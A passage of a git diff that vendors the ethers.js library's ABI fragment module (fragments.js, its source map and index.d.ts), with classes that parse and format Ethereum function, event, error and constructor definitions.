coalesced mutability +function consumeMutability(tokens) { + let modifiers = consumeKeywords(tokens, KwVisib); + // Detect conflicting modifiers + allowSingle(modifiers, setify("constant payable nonpayable".split(" "))); + allowSingle(modifiers, setify("pure view payable nonpayable".split(" "))); + // Process mutability states + if (modifiers.has("view")) { + return "view"; + } + if (modifiers.has("pure")) { + return "pure"; + } + if (modifiers.has("payable")) { + return "payable"; + } + if (modifiers.has("nonpayable")) { + return "nonpayable"; + } + // Process legacy `constant` last + if (modifiers.has("constant")) { + return "view"; + } + return "nonpayable"; +} +// ...a parameter list, returning the ParamType list +function consumeParams(tokens, allowIndexed) { + return tokens.popParams().map((t) => ParamType.from(t, allowIndexed)); +} +// ...a gas limit, returning a BigNumber or null if none +function consumeGas(tokens) { + if (tokens.peekType("AT")) { + tokens.pop(); + if (tokens.peekType("NUMBER")) { + return getBigInt(tokens.pop().text); + } + throw new Error("invalid gas"); + } + return null; +} +function consumeEoi(tokens) { + if (tokens.length) { + throw new Error(`unexpected tokens at offset ${tokens.offset}: ${tokens.toString()}`); + } +} +const regexArrayType = new RegExp(/^(.*)\[([0-9]*)\]$/); +function verifyBasicType(type) { + const match = type.match(regexType); + assertArgument(match, "invalid type", "type", type); + if (type === "uint") { + return "uint256"; + } + if (type === "int") { + return "int256"; + } + if (match[2]) { + // bytesXX + const length = parseInt(match[2]); + assertArgument(length !== 0 && length <= 32, "invalid bytes length", "type", type); + } + else if (match[3]) { + // intXX or uintXX + const size = parseInt(match[3]); + assertArgument(size !== 0 && size <= 256 && (size % 8) === 0, "invalid numeric width", "type", type); + } + return type; +} +// Make the Fragment constructors effectively private +const _guard = {}; +const internal = Symbol.for("_ethers_internal"); +const ParamTypeInternal = "_ParamTypeInternal"; +const ErrorFragmentInternal = "_ErrorInternal"; +const EventFragmentInternal = "_EventInternal"; +const ConstructorFragmentInternal = "_ConstructorInternal"; +const FallbackFragmentInternal = "_FallbackInternal"; +const FunctionFragmentInternal = "_FunctionInternal"; +const StructFragmentInternal = "_StructInternal"; +/** + * Each input and output of a [[Fragment]] is an Array of **ParamType**. + */ +export class ParamType { + /** + * The local name of the parameter (or ``""`` if unbound) + */ + name; + /** + * The fully qualified type (e.g. ``"address"``, ``"tuple(address)"``, + * ``"uint256[3][]"``) + */ + type; + /** + * The base type (e.g. ``"address"``, ``"tuple"``, ``"array"``) + */ + baseType; + /** + * True if the parameters is indexed. + * + * For non-indexable types this is ``null``. + */ + indexed; + /** + * The components for the tuple. + * + * For non-tuple types this is ``null``. + */ + components; + /** + * The array length, or ``-1`` for dynamic-lengthed arrays. + * + * For non-array types this is ``null``. + */ + arrayLength; + /** + * The type of each child in the array. + * + * For non-array types this is ``null``. + */ + arrayChildren; + /** + * @private + */ + constructor(guard, name, type, baseType, indexed, components, arrayLength, arrayChildren) { + assertPrivate(guard, _guard, "ParamType"); + Object.defineProperty(this, internal, { value: ParamTypeInternal }); + if (components) { + components = Object.freeze(components.slice()); + } + if (baseType === "array") { + if (arrayLength == null || arrayChildren == null) { + throw new Error(""); + } + } + else if (arrayLength != null || arrayChildren != null) { + throw new Error(""); + } + if (baseType === "tuple") { + if (components == null) { + throw new Error(""); + } + } + else if (components != null) { + throw new Error(""); + } + defineProperties(this, { + name, type, baseType, indexed, components, arrayLength, arrayChildren + }); + } + /** + * Return a string representation of this type. + * + * For example, + * + * ``sighash" => "(uint256,address)"`` + * + * ``"minimal" => "tuple(uint256,address) indexed"`` + * + * ``"full" => "tuple(uint256 foo, address bar) indexed baz"`` + */ + format(format) { + if (format == null) { + format = "sighash"; + } + if (format === "json") { + const name = this.name || ""; + if (this.isArray()) { + const result = JSON.parse(this.arrayChildren.format("json")); + result.name = name; + result.type += `[${(this.arrayLength < 0 ? "" : String(this.arrayLength))}]`; + return JSON.stringify(result); + } + const result = { + type: ((this.baseType === "tuple") ? "tuple" : this.type), + name + }; + if (typeof (this.indexed) === "boolean") { + result.indexed = this.indexed; + } + if (this.isTuple()) { + result.components = this.components.map((c) => JSON.parse(c.format(format))); + } + return JSON.stringify(result); + } + let result = ""; + // Array + if (this.isArray()) { + result += this.arrayChildren.format(format); + result += `[${(this.arrayLength < 0 ? "" : String(this.arrayLength))}]`; + } + else { + if (this.isTuple()) { + result += "(" + this.components.map((comp) => comp.format(format)).join((format === "full") ? ", " : ",") + ")"; + } + else { + result += this.type; + } + } + if (format !== "sighash") { + if (this.indexed === true) { + result += " indexed"; + } + if (format === "full" && this.name) { + result += " " + this.name; + } + } + return result; + } + /** + * Returns true if %%this%% is an Array type. + * + * This provides a type gaurd ensuring that [[arrayChildren]] + * and [[arrayLength]] are non-null. + */ + isArray() { + return (this.baseType === "array"); + } + /** + * Returns true if %%this%% is a Tuple type. + * + * This provides a type gaurd ensuring that [[components]] + * is non-null. + */ + isTuple() { + return (this.baseType === "tuple"); + } + /** + * Returns true if %%this%% is an Indexable type. + * + * This provides a type gaurd ensuring that [[indexed]] + * is non-null. + */ + isIndexable() { + return (this.indexed != null); + } + /** + * Walks the **ParamType** with %%value%%, calling %%process%% + * on each type, destructing the %%value%% recursively. + */ + walk(value, process) { + if (this.isArray()) { + if (!Array.isArray(value)) { + throw new Error("invalid array value"); + } + if (this.arrayLength !== -1 && value.length !== this.arrayLength) { + throw new Error("array is wrong length"); + } + const _this = this; + return value.map((v) => (_this.arrayChildren.walk(v, process))); + } + if (this.isTuple()) { + if (!Array.isArray(value)) { + throw new Error("invalid tuple value"); + } + if (value.length !== this.components.length) { + throw new Error("array is wrong length"); + } + const _this = this; + return value.map((v, i) => (_this.components[i].walk(v, process))); + } + return process(this.type, value); + } + #walkAsync(promises, value, process, setValue) { + if (this.isArray()) { + if (!Array.isArray(value)) { + throw new Error("invalid array value"); + } + if (this.arrayLength !== -1 && value.length !== this.arrayLength) { + throw new Error("array is wrong length"); + } + const childType = this.arrayChildren; + const result = value.slice(); + result.forEach((value, index) => { + childType.#walkAsync(promises, value, process, (value) => { + result[index] = value; + }); + }); + setValue(result); + return; + } + if (this.isTuple()) { + const components = this.components; + // Convert the object into an array + let result; + if (Array.isArray(value)) { + result = value.slice(); + } + else { + if (value == null || typeof (value) !== "object") { + throw new Error("invalid tuple value"); + } + result = components.map((param) => { + if (!param.name) { + throw new Error("cannot use object value with unnamed components"); + } + if (!(param.name in value)) { + throw new Error(`missing value for component ${param.name}`); + } + return value[param.name]; + }); + } + if (result.length !== this.components.length) { + throw new Error("array is wrong length"); + } + result.forEach((value, index) => { + components[index].#walkAsync(promises, value, process, (value) => { + result[index] = value; + }); + }); + setValue(result); + return; + } + const result = process(this.type, value); + if (result.then) { + promises.push((async function () { setValue(await result); })()); + } + else { + setValue(result); + } + } + /** + * Walks the **ParamType** with %%value%%, asynchronously calling + * %%process%% on each type, destructing the %%value%% recursively. + * + * This can be used to resolve ENS names by walking and resolving each + * ``"address"`` type. + */ + async walkAsync(value, process) { + const promises = []; + const result = [value]; + this.#walkAsync(promises, value, process, (value) => { + result[0] = value; + }); + if (promises.length) { + await Promise.all(promises); + } + return result[0]; + } + /** + * Creates a new **ParamType** for %%obj%%. + * + * If %%allowIndexed%% then the ``indexed`` keyword is permitted, + * otherwise the ``indexed`` keyword will throw an error. + */ + static from(obj, allowIndexed) { + if (ParamType.isParamType(obj)) { + return obj; + } + if (typeof (obj) === "string") { + try { + return ParamType.from(lex(obj), allowIndexed); + } + catch (error) { + assertArgument(false, "invalid param type", "obj", obj); + } + } + else if (obj instanceof TokenString) { + let type = "", baseType = ""; + let comps = null; + if (consumeKeywords(obj, setify(["tuple"])).has("tuple") || obj.peekType("OPEN_PAREN")) { + // Tuple + baseType = "tuple"; + comps = obj.popParams().map((t) => ParamType.from(t)); + type = `tuple(${comps.map((c) => c.format()).join(",")})`; + } + else { + // Normal + type = verifyBasicType(obj.popType("TYPE")); + baseType = type; + } + // Check for Array + let arrayChildren = null; + let arrayLength = null; + while (obj.length && obj.peekType("BRACKET")) { + const bracket = obj.pop(); //arrays[i]; + arrayChildren = new ParamType(_guard, "", type, baseType, null, comps, arrayLength, arrayChildren); + arrayLength = bracket.value; + type += bracket.text; + baseType = "array"; + comps = null; + } + let indexed = null; + const keywords = consumeKeywords(obj, KwModifiers); + if (keywords.has("indexed")) { + if (!allowIndexed) { + throw new Error(""); + } + indexed = true; + } + const name = (obj.peekType("ID") ? obj.pop().text : ""); + if (obj.length) { + throw new Error("leftover tokens"); + } + return new ParamType(_guard, name, type, baseType, indexed, comps, arrayLength, arrayChildren); + } + const name = obj.name; + assertArgument(!name || (typeof (name) === "string" && name.match(regexId)), "invalid name", "obj.name", name); + let indexed = obj.indexed; + if (indexed != null) { + assertArgument(allowIndexed, "parameter cannot be indexed", "obj.indexed", obj.indexed); + indexed = !!indexed; + } + let type = obj.type; + let arrayMatch = type.match(regexArrayType); + if (arrayMatch) { + const arrayLength = parseInt(arrayMatch[2] || "-1"); + const arrayChildren = ParamType.from({ + type: arrayMatch[1], + components: obj.components + }); + return new ParamType(_guard, name || "", type, "array", indexed, null, arrayLength, arrayChildren); + } + if (type === "tuple" || type.startsWith("tuple(" /* fix: ) */) || type.startsWith("(" /* fix: ) */)) { + const comps = (obj.components != null) ? obj.components.map((c) => ParamType.from(c)) : null; + const tuple = new ParamType(_guard, name || "", type, "tuple", indexed, comps, null, null); + // @TODO: use lexer to validate and normalize type + return tuple; + } + type = verifyBasicType(obj.type); + return new ParamType(_guard, name || "", type, type, indexed, null, null, null); + } + /** + * Returns true if %%value%% is a **ParamType**. + */ + static isParamType(value) { + return (value && value[internal] === ParamTypeInternal); + } +} +/** + * An abstract class to represent An individual fragment from a parse ABI. + */ +export class Fragment { + /** + * The type of the fragment. + */ + type; + /** + * The inputs for the fragment. + */ + inputs; + /** + * @private + */ + constructor(guard, type, inputs) { + assertPrivate(guard, _guard, "Fragment"); + inputs = Object.freeze(inputs.slice()); + defineProperties(this, { type, inputs }); + } + /** + * Creates a new **Fragment** for %%obj%%, wich can be any supported + * ABI frgament type. + */ + static from(obj) { + if (typeof (obj) === "string") { + // Try parsing JSON... + try { + Fragment.from(JSON.parse(obj)); + } + catch (e) { } + // ...otherwise, use the human-readable lexer + return Fragment.from(lex(obj)); + } + if (obj instanceof TokenString) { + // Human-readable ABI (already lexed) + const type = obj.peekKeyword(KwTypes); + switch (type) { + case "constructor": return ConstructorFragment.from(obj); + case "error": return ErrorFragment.from(obj); + case "event": return EventFragment.from(obj); + case "fallback": + case "receive": + return FallbackFragment.from(obj); + case "function": return FunctionFragment.from(obj); + case "struct": return StructFragment.from(obj); + } + } + else if (typeof (obj) === "object") { + // JSON ABI + switch (obj.type) { + case "constructor": return ConstructorFragment.from(obj); + case "error": return ErrorFragment.from(obj); + case "event": return EventFragment.from(obj); + case "fallback": + case "receive": + return FallbackFragment.from(obj); + case "function": return FunctionFragment.from(obj); + case "struct": return StructFragment.from(obj); + } + assert(false, `unsupported type: ${obj.type}`, "UNSUPPORTED_OPERATION", { + operation: "Fragment.from" + }); + } + assertArgument(false, "unsupported frgament object", "obj", obj); + } + /** + * Returns true if %%value%% is a [[ConstructorFragment]]. + */ + static isConstructor(value) { + return ConstructorFragment.isFragment(value); + } + /** + * Returns true if %%value%% is an [[ErrorFragment]]. + */ + static isError(value) { + return ErrorFragment.isFragment(value); + } + /** + * Returns true if %%value%% is an [[EventFragment]]. + */ + static isEvent(value) { + return EventFragment.isFragment(value); + } + /** + * Returns true if %%value%% is a [[FunctionFragment]]. + */ + static isFunction(value) { + return FunctionFragment.isFragment(value); + } + /** + * Returns true if %%value%% is a [[StructFragment]]. + */ + static isStruct(value) { + return StructFragment.isFragment(value); + } +} +/** + * An abstract class to represent An individual fragment + * which has a name from a parse ABI. + */ +export class NamedFragment extends Fragment { + /** + * The name of the fragment. + */ + name; + /** + * @private + */ + constructor(guard, type, name, inputs) { + super(guard, type, inputs); + assertArgument(typeof (name) === "string" && name.match(regexId), "invalid identifier", "name", name); + inputs = Object.freeze(inputs.slice()); + defineProperties(this, { name }); + } +} +function joinParams(format, params) { + return "(" + params.map((p) => p.format(format)).join((format === "full") ? ", " : ",") + ")"; +} +/** + * A Fragment which represents a //Custom Error//. + */ +export class ErrorFragment extends NamedFragment { + /** + * @private + */ + constructor(guard, name, inputs) { + super(guard, "error", name, inputs); + Object.defineProperty(this, internal, { value: ErrorFragmentInternal }); + } + /** + * The Custom Error selector. + */ + get selector() { + return id(this.format("sighash")).substring(0, 10); + } + /** + * Returns a string representation of this fragment as %%format%%. + */ + format(format) { + if (format == null) { + format = "sighash"; + } + if (format === "json") { + return JSON.stringify({ + type: "error", + name: this.name, + inputs: this.inputs.map((input) => JSON.parse(input.format(format))), + }); + } + const result = []; + if (format !== "sighash") { + result.push("error"); + } + result.push(this.name + joinParams(format, this.inputs)); + return result.join(" "); + } + /** + * Returns a new **ErrorFragment** for %%obj%%. + */ + static from(obj) { + if (ErrorFragment.isFragment(obj)) { + return obj; + } + if (typeof (obj) === "string") { + return ErrorFragment.from(lex(obj)); + } + else if (obj instanceof TokenString) { + const name = consumeName("error", obj); + const inputs = consumeParams(obj); + consumeEoi(obj); + return new ErrorFragment(_guard, name, inputs); + } + return new ErrorFragment(_guard, obj.name, obj.inputs ? obj.inputs.map(ParamType.from) : []); + } + /** + * Returns ``true`` and provides a type guard if %%value%% is an + * **ErrorFragment**. + */ + static isFragment(value) { + return (value && value[internal] === ErrorFragmentInternal); + } +} +/** + * A Fragment which represents an Event. + */ +export class EventFragment extends NamedFragment { + /** + * Whether this event is anonymous. + */ + anonymous; + /** + * @private + */ + constructor(guard, name, inputs, anonymous) { + super(guard, "event", name, inputs); + Object.defineProperty(this, internal, { value: EventFragmentInternal }); + defineProperties(this, { anonymous }); + } + /** + * The Event topic hash. + */ + get topicHash() { + return id(this.format("sighash")); + } + /** + * Returns a string representation of this event as %%format%%. + */ + format(format) { + if (format == null) { + format = "sighash"; + } + if (format === "json") { + return JSON.stringify({ + type: "event", + anonymous: this.anonymous, + name: this.name, + inputs: this.inputs.map((i) => JSON.parse(i.format(format))) + }); + } + const result = []; + if (format !== "sighash") { + result.push("event"); + } + result.push(this.name + joinParams(format, this.inputs)); + if (format !== "sighash" && this.anonymous) { + result.push("anonymous"); + } + return result.join(" "); + } + /** + * Return the topic hash for an event with %%name%% and %%params%%. + */ + static getTopicHash(name, params) { + params = (params || []).map((p) => ParamType.from(p)); + const fragment = new EventFragment(_guard, name, params, false); + return fragment.topicHash; + } + /** + * Returns a new **EventFragment** for %%obj%%. + */ + static from(obj) { + if (EventFragment.isFragment(obj)) { + return obj; + } + if (typeof (obj) === "string") { + try { + return EventFragment.from(lex(obj)); + } + catch (error) { + assertArgument(false, "invalid event fragment", "obj", obj); + } + } + else if (obj instanceof TokenString) { + const name = consumeName("event", obj); + const inputs = consumeParams(obj, true); + const anonymous = !!consumeKeywords(obj, setify(["anonymous"])).has("anonymous"); + consumeEoi(obj); + return new EventFragment(_guard, name, inputs, anonymous); + } + return new EventFragment(_guard, obj.name, obj.inputs ? obj.inputs.map((p) => ParamType.from(p, true)) : [], !!obj.anonymous); + } + /** + * Returns ``true`` and provides a type guard if %%value%% is an + * **EventFragment**. + */ + static isFragment(value) { + return (value && value[internal] === EventFragmentInternal); + } +} +/** + * A Fragment which represents a constructor. + */ +export class ConstructorFragment extends Fragment { + /** + * Whether the constructor can receive an endowment. + */ + payable; + /** + * The recommended gas limit for deployment or ``null``. + */ + gas; + /** + * @private + */ + constructor(guard, type, inputs, payable, gas) { + super(guard, type, inputs); + Object.defineProperty(this, internal, { value: ConstructorFragmentInternal }); + defineProperties(this, { payable, gas }); + } + /** + * Returns a string representation of this constructor as %%format%%. + */ + format(format) { + assert(format != null && format !== "sighash", "cannot format a constructor for sighash", "UNSUPPORTED_OPERATION", { operation: "format(sighash)" }); + if (format === "json") { + return JSON.stringify({ + type: "constructor", + stateMutability: (this.payable ? "payable" : "undefined"), + payable: this.payable, + gas: ((this.gas != null) ? this.gas : undefined), + inputs: this.inputs.map((i) => JSON.parse(i.format(format))) + }); + } + const result = [`constructor${joinParams(format, this.inputs)}`]; + if (this.payable) { + result.push("payable"); + } + if (this.gas != null) { + result.push(`@${this.gas.toString()}`); + } + return result.join(" "); + } + /** + * Returns a new **ConstructorFragment** for %%obj%%. + */ + static from(obj) { + if (ConstructorFragment.isFragment(obj)) { + return obj; + } + if (typeof (obj) === "string") { + try { + return ConstructorFragment.from(lex(obj)); + } + catch (error) { + assertArgument(false, "invalid constuctor fragment", "obj", obj); + } + } + else if (obj instanceof TokenString) { + consumeKeywords(obj, setify(["constructor"])); + const inputs = consumeParams(obj); + const payable = !!consumeKeywords(obj, KwVisibDeploy).has("payable"); + const gas = consumeGas(obj); + consumeEoi(obj); + return new ConstructorFragment(_guard, "constructor", inputs, payable, gas); + } + return new ConstructorFragment(_guard, "constructor", obj.inputs ? obj.inputs.map(ParamType.from) : [], !!obj.payable, (obj.gas != null) ? obj.gas : null); + } + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **ConstructorFragment**. + */ + static isFragment(value) { + return (value && value[internal] === ConstructorFragmentInternal); + } +} +/** + * A Fragment which represents a method. + */ +export class FallbackFragment extends Fragment { + /** + * If the function can be sent value during invocation. + */ + payable; + constructor(guard, inputs, payable) { + super(guard, "fallback", inputs); + Object.defineProperty(this, internal, { value: FallbackFragmentInternal }); + defineProperties(this, { payable }); + } + /** + * Returns a string representation of this fallback as %%format%%. + */ + format(format) { + const type = ((this.inputs.length === 0) ? "receive" : "fallback"); + if (format === "json") { + const stateMutability = (this.payable ? "payable" : "nonpayable"); + return JSON.stringify({ type, stateMutability }); + } + return `${type}()${this.payable ? " payable" : ""}`; + } + /** + * Returns a new **FallbackFragment** for %%obj%%. + */ + static from(obj) { + if (FallbackFragment.isFragment(obj)) { + return obj; + } + if (typeof (obj) === "string") { + try { + return FallbackFragment.from(lex(obj)); + } + catch (error) { + assertArgument(false, "invalid fallback fragment", "obj", obj); + } + } + else if (obj instanceof TokenString) { + const errorObj = obj.toString(); + const topIsValid = obj.peekKeyword(setify(["fallback", "receive"])); + assertArgument(topIsValid, "type must be fallback or receive", "obj", errorObj); + const type = obj.popKeyword(setify(["fallback", "receive"])); + // receive() + if (type === "receive") { + const inputs = consumeParams(obj); + assertArgument(inputs.length === 0, `receive cannot have arguments`, "obj.inputs", inputs); + consumeKeywords(obj, setify(["payable"])); + consumeEoi(obj); + return new FallbackFragment(_guard, [], true); + } + // fallback() [payable] + // fallback(bytes) [payable] returns (bytes) + let inputs = consumeParams(obj); + if (inputs.length) { + assertArgument(inputs.length === 1 && inputs[0].type === "bytes", "invalid fallback inputs", "obj.inputs", inputs.map((i) => i.format("minimal")).join(", ")); + } + else { + inputs = [ParamType.from("bytes")]; + } + const mutability = consumeMutability(obj); + assertArgument(mutability === "nonpayable" || mutability === "payable", "fallback cannot be constants", "obj.stateMutability", mutability); + if (consumeKeywords(obj, setify(["returns"])).has("returns")) { + const outputs = consumeParams(obj); + assertArgument(outputs.length === 1 && outputs[0].type === "bytes", "invalid fallback outputs", "obj.outputs", outputs.map((i) => i.format("minimal")).join(", ")); + } + consumeEoi(obj); + return new FallbackFragment(_guard, inputs, mutability === "payable"); + } + if (obj.type === "receive") { + return new FallbackFragment(_guard, [], true); + } + if (obj.type === "fallback") { + const inputs = [ParamType.from("bytes")]; + const payable = (obj.stateMutability === "payable"); + return new FallbackFragment(_guard, inputs, payable); + } + assertArgument(false, "invalid fallback description", "obj", obj); + } + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **FallbackFragment**. + */ + static isFragment(value) { + return (value && value[internal] === FallbackFragmentInternal); + } +} +/** + * A Fragment which represents a method. + */ +export class FunctionFragment extends NamedFragment { + /** + * If the function is constant (e.g. ``pure`` or ``view`` functions). + */ + constant; + /** + * The returned types for the result of calling this function. + */ + outputs; + /** + * The state mutability (e.g. ``payable``, ``nonpayable``, ``view`` + * or ``pure``) + */ + stateMutability; + /** + * If the function can be sent value during invocation. + */ + payable; + /** + * The recommended gas limit to send when calling this function. + */ + gas; + /** + * @private + */ + constructor(guard, name, stateMutability, inputs, outputs, gas) { + super(guard, "function", name, inputs); + Object.defineProperty(this, internal, { value: FunctionFragmentInternal }); + outputs = Object.freeze(outputs.slice()); + const constant = (stateMutability === "view" || stateMutability === "pure"); + const payable = (stateMutability === "payable"); + defineProperties(this, { constant, gas, outputs, payable, stateMutability }); + } + /** + * The Function selector. + */ + get selector() { + return id(this.format("sighash")).substring(0, 10); + } + /** + * Returns a string representation of this function as %%format%%. + */ + format(format) { + if (format == null) { + format = "sighash"; + } + if (format === "json") { + return JSON.stringify({ + type: "function", + name: this.name, + constant: this.constant, + stateMutability: ((this.stateMutability !== "nonpayable") ? this.stateMutability : undefined), + payable: this.payable, + gas: ((this.gas != null) ? this.gas : undefined), + inputs: this.inputs.map((i) => JSON.parse(i.format(format))), + outputs: this.outputs.map((o) => JSON.parse(o.format(format))), + }); + } + const result = []; + if (format !== "sighash") { + result.push("function"); + } + result.push(this.name + joinParams(format, this.inputs)); + if (format !== "sighash") { + if (this.stateMutability !== "nonpayable") { + result.push(this.stateMutability); + } + if (this.outputs && this.outputs.length) { + result.push("returns"); + result.push(joinParams(format, this.outputs)); + } + if (this.gas != null) { + result.push(`@${this.gas.toString()}`); + } + } + return result.join(" "); + } + /** + * Return the selector for a function with %%name%% and %%params%%. + */ + static getSelector(name, params) { + params = (params || []).map((p) => ParamType.from(p)); + const fragment = new FunctionFragment(_guard, name, "view", params, [], null); + return fragment.selector; + } + /** + * Returns a new **FunctionFragment** for %%obj%%. + */ + static from(obj) { + if (FunctionFragment.isFragment(obj)) { + return obj; + } + if (typeof (obj) === "string") { + try { + return FunctionFragment.from(lex(obj)); + } + catch (error) { + assertArgument(false, "invalid function fragment", "obj", obj); + } + } + else if (obj instanceof TokenString) { + const name = consumeName("function", obj); + const inputs = consumeParams(obj); + const mutability = consumeMutability(obj); + let outputs = []; + if (consumeKeywords(obj, setify(["returns"])).has("returns")) { + outputs = consumeParams(obj); + } + const gas = consumeGas(obj); + consumeEoi(obj); + return new FunctionFragment(_guard, name, mutability, inputs, outputs, gas); + } + let stateMutability = obj.stateMutability; + // Use legacy Solidity ABI logic if stateMutability is missing + if (stateMutability == null) { + stateMutability = "payable"; + if (typeof (obj.constant) === "boolean") { + stateMutability = "view"; + if (!obj.constant) { + stateMutability = "payable"; + if (typeof (obj.payable) === "boolean" && !obj.payable) { + stateMutability = "nonpayable"; + } + } + } + else if (typeof (obj.payable) === "boolean" && !obj.payable) { + stateMutability = "nonpayable"; + } + } + // @TODO: verifyState for stateMutability (e.g. throw if + // payable: false but stateMutability is "nonpayable") + return new FunctionFragment(_guard, obj.name, stateMutability, obj.inputs ? obj.inputs.map(ParamType.from) : [], obj.outputs ? obj.outputs.map(ParamType.from) : [], (obj.gas != null) ? obj.gas : null); + } + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **FunctionFragment**. + */ + static isFragment(value) { + return (value && value[internal] === FunctionFragmentInternal); + } +} +/** + * A Fragment which represents a structure. + */ +export class StructFragment extends NamedFragment { + /** + * @private + */ + constructor(guard, name, inputs) { + super(guard, "struct", name, inputs); + Object.defineProperty(this, internal, { value: StructFragmentInternal }); + } + /** + * Returns a string representation of this struct as %%format%%. + */ + format() { + throw new Error("@TODO"); + } + /** + * Returns a new **StructFragment** for %%obj%%. + */ + static from(obj) { + if (typeof (obj) === "string") { + try { + return StructFragment.from(lex(obj)); + } + catch (error) { + assertArgument(false, "invalid struct fragment", "obj", obj); + } + } + else if (obj instanceof TokenString) { + const name = consumeName("struct", obj); + const inputs = consumeParams(obj); + consumeEoi(obj); + return new StructFragment(_guard, name, inputs); + } + return new StructFragment(_guard, obj.name, obj.inputs ? obj.inputs.map(ParamType.from) : []); + } + // @TODO: fix this return type + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **StructFragment**. + */ + static isFragment(value) { + return (value && value[internal] === StructFragmentInternal); + } +} +//# sourceMappingURL=fragments.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/fragments.js.map b/node_modules/ethers/lib.esm/abi/fragments.js.map new file mode 100644 index 000000000000..8e68fdd4cdf6 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/fragments.js.map @@ -0,0 +1 @@ +{"version":3,"file":"fragments.js","sourceRoot":"","sources":["../../src.ts/abi/fragments.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG;AAEH,OAAO,EACH,gBAAgB,EAAE,SAAS,EAAE,SAAS,EACtC,MAAM,EAAE,aAAa,EAAE,cAAc,EACxC,MAAM,mBAAmB,CAAC;AAC3B,OAAO,EAAE,EAAE,EAAE,MAAM,kBAAkB,CAAC;AAgFrC,CAAC;AAoBF,qCAAqC;AACrC,SAAS,MAAM,CAAC,KAAoB;IAChC,MAAM,MAAM,GAAgB,IAAI,GAAG,EAAE,CAAC;IACtC,KAAK,CAAC,OAAO,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,MAAM,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC;IACpC,OAAO,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC;AACjC,CAAC;AAED,MAAM,cAAc,GAAG,kCAAkC,CAAC;AAC1D,MAAM,aAAa,GAAG,MAAM,CAAC,cAAc,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC;AAExD,sBAAsB;AACtB,MAAM,QAAQ,GAAG,sEAAsE,CAAC;AACxF,MAAM,OAAO,GAAG,MAAM,CAAC,QAAQ,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC;AAE5C,MAAM,QAAQ,GAAG,0DAA0D,CAAC;AAC5E,MAAM,OAAO,GAAG,MAAM,CAAC,QAAQ,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC;AAE5C,MAAM,YAAY,GAAG,yCAAyC,CAAC;AAC/D,MAAM,WAAW,GAAG,MAAM,CAAC,YAAY,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC;AAEpD,MAAM,QAAQ,GAAG,eAAe,CAAC;AAEjC,eAAe;AACf,MAAM,SAAS,GAAG,CAAE,QAA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aAAM,IAAI,GAAG,YAAY,WAAW,EAAE;YACnC,MAAM,IAAI,GAAG,WAAW,CAAC,QAAQ,EAAE,GAAG,CAAC,CAAC;YACxC,MAAM,MAAM,GAAG,aAAa,CAAC,GAAG,CAAC,CAAC;YAClC,UAAU,CAAC,GAAG,CAAC,CAAC;YAChB,OAAO,IAAI,cAAc,CAAC,MAAM,EAAE,IAAI,EAAE,MAAM,CAAC,CAAC;SACnD;QAED,OAAO,IAAI,cAAc,CAAC,MAAM,EAAE,GAAG,CAAC,IAAI,EAAE,GAAG,CAAC,MAAM,CAAC,CAAC,CAAC,GAAG,CAAC,MAAM,CAAC,GAAG,CAAC,SAAS,CAAC,IAAI,CAAC,CAAA,CAAC,CAAC,EAAG,CAAC,CAAC;IAClG,CAAC;IAEL,8BAA8B;IAC1B;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,KAAU;QACxB,OAAO,CAAC,KAAK,IAAI,KAAK,CAAC,QAAQ,CAAC,KAAK,sBAAsB,CAAC,CAAC;IACjE,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/index.d.ts b/node_modules/ethers/lib.esm/abi/index.d.ts new file mode 100644 index 000000000000..2bf3993272ac --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/index.d.ts @@ -0,0 +1,18 @@ +/** + * The Application Binary Interface (ABI) describes how method input + * parameters should be encoded, their results decoded, and how to + * decode events and errors. + * + * See [About ABIs](docs-abi) for more details how they are used. + * + * @_section api/abi:Application Binary Interface [about-abi] + * @_navTitle: ABI + */ +export { AbiCoder } from "./abi-coder.js"; +export { decodeBytes32String, encodeBytes32String } from "./bytes32.js"; +export { ConstructorFragment, ErrorFragment, EventFragment, FallbackFragment, Fragment, FunctionFragment, NamedFragment, ParamType, StructFragment, } from "./fragments.js"; +export { checkResultErrors, Indexed, Interface, ErrorDescription, LogDescription, TransactionDescription, Result } from "./interface.js"; +export { Typed } from "./typed.js"; +export type { JsonFragment, JsonFragmentType, FormatType, FragmentType, ParamTypeWalkAsyncFunc, ParamTypeWalkFunc } from "./fragments.js"; +export type { InterfaceAbi, } from "./interface.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/index.d.ts.map b/node_modules/ethers/lib.esm/abi/index.d.ts.map new file mode 100644 index 000000000000..0d99c19b9d3a --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/index.d.ts.map @@ -0,0 +1 @@ 